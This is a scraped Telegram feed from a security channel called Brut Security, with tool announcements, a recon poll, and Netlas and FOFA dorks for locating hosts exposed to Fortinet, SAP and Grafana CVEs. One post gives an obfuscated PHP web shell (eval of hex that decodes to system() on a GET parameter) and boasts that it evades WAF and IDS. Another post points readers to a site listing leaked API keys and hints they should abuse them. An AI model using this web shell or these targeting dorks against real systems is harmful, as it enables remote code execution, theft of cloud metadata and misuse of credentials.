Brut Security
📢 Heads up, folks!
Just released BrutDroid recently — an automation toolkit for Android emulator testing. Put in a ton of effort, but honestly, the response hasn’t been as strong as expected.
Might make it private soon. If you’re planning to use it or have feedback, now’s the time! Would love your thoughts.⚙️
⚠️ https://github.com/Brut-Security/BrutDroid/
💬 Feel free to DM or tag me with suggestions.
— Stay Brut.
Just released BrutDroid recently — an automation toolkit for Android emulator testing. Put in a ton of effort, but honestly, the response hasn’t been as strong as expected.
Might make it private soon. If you’re planning to use it or have feedback, now’s the time! Would love your thoughts.
💬 Feel free to DM or tag me with suggestions.
— Stay Brut.
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - Brut-Security/BrutDroid: BrutDroid - Android Studio Pentest Automator: Streamline mobile pentesting with automated emulator…
BrutDroid - Android Studio Pentest Automator: Streamline mobile pentesting with automated emulator rooting, Frida, and Burp Suite integration. - Brut-Security/BrutDroid
❤31
Please open Telegram to view this post
VIEW IN TELEGRAM
4🤣30😁2😱2❤1
Perfect for anyone involved in:
Brut SecurityTake advantage of this opportunity and explore ZoomEye’s premium features!
#BrutSecurity #ZoomEye
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
Hey Hunters,
When it comes to dorking and reconnaissance, which search engine is your go-to and why?
When it comes to dorking and reconnaissance, which search engine is your go-to and why?
Anonymous Poll
44%
1️⃣ Google Dorking
25%
2️⃣ Shodan
20%
3️⃣ FOFA (now with AI!)
4%
4️⃣ ZoomEye
2%
5️⃣ Netlas
6%
6️⃣ Censys
❤7
Brut Security
Photo
🌀I made this payload that able to bypass WAF even IDS to execute RCE💀
👀Hex decode:
🤫 DarkShadow's secret payload don't share outside ☠
<?=eval(hex2bin("69662824785f3d245f4745545b305d297b73797374656d2824785f293b7d"))?>
👀Hex decode:
if($x_=$_GET[0]){system($x_);
}
🤫 DarkShadow's secret payload don't share outside ☠
❤20🗿8👍3🤔2
CVE-2025-32756: Buffer Overflow in Fortinet products, 9.8 rating 🔥
Some Fortinet products, including FortiMail, FortiRecorder, and FortiVoice, are vulnerable to a buffer overflow that could allow a remote, unauthenticated attacker to execute arbitrary code or commands.
The vulnerability is not new, but a PoC was recently released!
Search at Netlas.io:
👉 Link: https://nt.ls/nmu5K
👉 Dork: certificate.subject.common_name:"FortiMail" OR certificate.subject.common_name:"FortiRecorder" OR certificate.subject.common_name:"FortiVoice"
Vendor's advisory: https://fortiguard.fortinet.com/psirt/FG-IR-25-254
Some Fortinet products, including FortiMail, FortiRecorder, and FortiVoice, are vulnerable to a buffer overflow that could allow a remote, unauthenticated attacker to execute arbitrary code or commands.
The vulnerability is not new, but a PoC was recently released!
Search at Netlas.io:
👉 Link: https://nt.ls/nmu5K
👉 Dork: certificate.subject.common_name:"FortiMail" OR certificate.subject.common_name:"FortiRecorder" OR certificate.subject.common_name:"FortiVoice"
Vendor's advisory: https://fortiguard.fortinet.com/psirt/FG-IR-25-254
1🔥8❤4🫡1
Hey Hunter's,
DarkShadow here back again, just dropping a simple FOFA dork that i made to find all Grafana vulnerable versions which are using AWS and that help to you read all cloud metadata through Grafana SSRF CVE-2025-4123
FOFA dork:
Grep the full dork in comment 🔥
#dork #fofa #bugbountytips
DarkShadow here back again, just dropping a simple FOFA dork that i made to find all Grafana vulnerable versions which are using AWS and that help to you read all cloud metadata through Grafana SSRF CVE-2025-4123
FOFA dork:
app="grafana" && cloud_name="aws" && (body="Grafana v10.0.0"body="Grafana v10.0.1" body="Grafana v10.0.2"body="Grafana v10.0.3" body="Grafana v10.0.4"body="Grafana v10.0.5" body="Grafana v10.0.6"body="Grafana v10.0.7" body="Grafana v10.0.8"body="Grafana v10.0.9" body="Grafana v10.0.10"body="Grafana v10.0.11" body="Grafana v10.0.12"body="Grafana v10.1.0" body="Grafana v10.1.1"body="Grafana v10.1.2" body="Grafana v10.1.3"body="Grafana v10.1.4" body="Grafana v10.1.5"body="Grafana v10.1.6" body="Grafana v10.1.7"body="Grafana v10.1.8" body="Grafana v10.1.9"body="Grafana v10.1.10" body="Grafana v10.2.0"body="Grafana v10.2.1" body="Grafana v10.2.2"body="Grafana v10.2.3" body="Grafana v10.2.4"body="Grafana v10.2.5" body="Grafana v10.2.6"body="Grafana v10.2.7" body="Grafana v10.3.0"body="Grafana v10.3.1" body="Grafana v10.3.2"body="Grafana v10.3.3" body="Grafana v10.3.4"body="Grafana v10.3.5" body="Grafana v10.4.0"body="Grafana v10.4.1" body="Grafana v10.4.2"body="Grafana v10.4.3" body="Grafana v10.4.4"body="Grafana v10.4.5" body="Grafana v10.4.6"body="Grafana v10.4.7" body="Grafana v10.4.8"body="Grafana v10.4.9" body="Grafana v10.4.10"body="Grafana v10.4.11" body="Grafana v10.4.12"body="Grafana v10.4.13" body="Grafana v10.4.14"body="Grafana v10.4.15" body="Grafana v10.4.16"body="Grafana v10.4.17" body="Grafana v11.0.0"body="Grafana v11.0.1" body="Grafana v11.0.2"body="Grafana v11.0.3" body="Grafana v11.0.4"body="Grafana v11.0.5" body="Grafana v11.1.0"body="Grafana v11.1.1" body="Grafana v11.1.2"body="Grafana v11.1.3" body="Grafana v11.1.4"body="Grafana v11.2.0" body="Grafana v11.2.1"body="Grafana v11.2.2" body="Grafana v11.2.3"body="Grafana v11.3.0" body="Grafana v11.3.1"body="Grafana v11.3.2" body="Grafana v11.3.3"body="Grafana v11.4.0" body="Grafana v11.4.1"body="Grafana v11.4.2" body="Grafana v11.4.3"body="Grafana v11.5.0" body="Grafana v11.5.1"body="Grafana v11.5.2" body="Grafana v11.5.3"body="Grafana v11.5.4" body="Grafana v11.5.5"body="Grafana v11.5.6" body="Grafana v11.6.0" || body="Grafana v12.0.0")
Grep the full dork in comment 🔥
#dork #fofa #bugbountytips
❤18🔥7👍2🗿1
CVE-2025-42989: Missing Authorization in SAP NetWeaver, 9.6 rating 🔥
One of the vulnerabilities disclosed in a recent patch allows an authenticated user to escalate their privileges, which could critically impact the integrity and availability of the system.
Search at Netlas.io:
👉 Link: https://nt.ls/lB0fI
👉 Dork: http.body:"This error page was generated by SAP Web Dispatcher!"
Vendor's advisory: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/june-2025.html
One of the vulnerabilities disclosed in a recent patch allows an authenticated user to escalate their privileges, which could critically impact the integrity and availability of the system.
Search at Netlas.io:
👉 Link: https://nt.ls/lB0fI
👉 Dork: http.body:"This error page was generated by SAP Web Dispatcher!"
Vendor's advisory: https://support.sap.com/en/my-support/knowledge-base/security-notes-news/june-2025.html
❤6😱4
Brut Security
https://www.unsecuredapikeys.com/
Your know, what you have to do 😏
Please open Telegram to view this post
VIEW IN TELEGRAM
🤝10🔥3
Brut Security pinned «🚨 If you're looking for accurate IoT results, then Sign Up On @Netlas 😮💨 https://app.netlas.io/ref/9cc61538/»
Brut Security
🚀 New Script Alert – Subdomain Monitoring (Coming Soon!) from Brut Security For those who’ve been waiting on a simple and efficient way to monitor subdomains automatically — your wait is almost over. 😌 We’ve been working on a Bash script that: ✅ Monitors…
Please open Telegram to view this post
VIEW IN TELEGRAM
❤24🐳6👍5
✅ Runs every 6 hours
✅ Sends newly found subdomains directly to your Discord
✅ Includes .txt file + message alerts
✅ Perfect for bug bounty hunters & recon workflows
📽️ Watch the YouTube video & get started now:
👉 https://youtu.be/BkpSQKSTFUI
📥 Download & Readme on GitHub:
👉 https://github.com/Brut-Security/SubWatch
🔧 Powered by: subfinder, anew, jq, notify
Built with 💙 by Brut Security
❤️ Give it a try, share it with your team, and drop your reactions below!
Please open Telegram to view this post
VIEW IN TELEGRAM
YouTube
🚨 New Subdomain Monitoring Tool for Bug Bounty Hunters! | Brut Security
🛡️ Introducing SubWatch: Automated Subdomain Monitoring Script by Brut Security
Stay one step ahead in your recon game!
This tool continuously monitors your target domains for new subdomains using subfinder, stores historical data, and sends alerts directly…
Stay one step ahead in your recon game!
This tool continuously monitors your target domains for new subdomains using subfinder, stores historical data, and sends alerts directly…
❤19👍4🔥4😢1
Brut Security pinned «▶️ It's LIVE! 📌 SubWatch – your next favorite tool for automated subdomain monitoring! 🔍 ✅ Runs every 6 hours ✅ Sends newly found subdomains directly to your Discord ✅ Includes .txt file + message alerts ✅ Perfect for bug bounty hunters & recon workflows…»